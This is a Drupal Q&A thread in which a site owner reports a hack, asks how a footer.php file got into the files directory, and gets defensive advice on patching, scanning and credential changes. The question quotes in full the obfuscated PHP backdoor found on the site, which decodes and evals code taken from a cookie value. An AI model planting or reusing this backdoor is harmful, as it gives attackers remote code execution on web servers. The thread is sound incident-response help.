1

today I woke up surprised that my website was hacked. I found scripts like this in several files of my Drupal instalation

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n7f2521'];if(isset($s22)){eval($s21($s22));}

I could find that the script was propagated, from

sites/default/files/styles/thumbnail/public/footer.php

That footer.php should not be there, so my question is, how a php file could be uploaded in that folder?

I checked all the upload images and files fields and I ensure any of those are allowed of upload .php files.

Can someone help me out?

how to prevent this type of hacking? what are the precautions for this type of hacking?

Improve this question
6
  • 3
    There's a million different ways this could have happened, and there's no way we can answer it completely. The one thing I will say is that one practice I like, is to have disable_functions=eval in my settings. That would have prevented this from working, though not necessarily prevent the original attack. It will also kill the php module, which I'm sure if a common attack vector on Drupal sites, and using it is utterly foolish.
    – Letharion
    Oct 23, 2014 at 16:46
  • what is your hosting type? Shared, VPS,..?
    – xurshid29
    Oct 23, 2014 at 16:49
  • Mine is a shared hosting
    – svelandiag
    Oct 23, 2014 at 16:50
  • @SsouLlesS If you have the appropriate logging for it, you should search for them for 'n7f2521', which is the payload carrying the executable code. What you do with it depends of course entirely on what you find, but if you want help understanding what's happened, you might wanna add it to the question. And if not the question, you might wanna post it in the chat, I'd be interested in seeing what there is.
    – Letharion
    Oct 23, 2014 at 16:55
  • 2
    Did you address drupal.org/SA-CORE-2014-005 ?
    – mpdonadio ♦
    Oct 23, 2014 at 17:23

2 Answers 2

Reset to default
4

Your site has indeed been hacked. Many possibilities of a backdoor exist now.

You can start by upgrading to 7.32 or better and downloading the Hacked! module and scanning your system files for changes.

You can also use one of the following commands to find the exploited files.

  • grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/\/ RECOVERED FILE - more info at AllAboutTodd.com \?>/g'
  • find . -type f -newermt 2014-10-01 ! -newermt 2014-10-31 -name "*.php"

The latter command will find all files that end in .php which were last modified in October. To search instead the files for which the permissions were changed in October, replace -newermt with -newerct.

Improve this answer
0
2

Start with ensuring that your modules and core are up to date. Also make sure that your submitting user credentials using a secure connection (HTTPS).

You could use a module like Password policy to secure user accounts. For now I'd change all of your admin credentials, clean up any damage, and maybe have users change their passwords.

EDIT:

Also check out the secure login module.

Improve this answer
1
  • 3
    And then pop to /admin/reports/updates/settings and make sure you're getting emailed about security releases
    – Clive ♦
    Oct 23, 2014 at 16:45

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.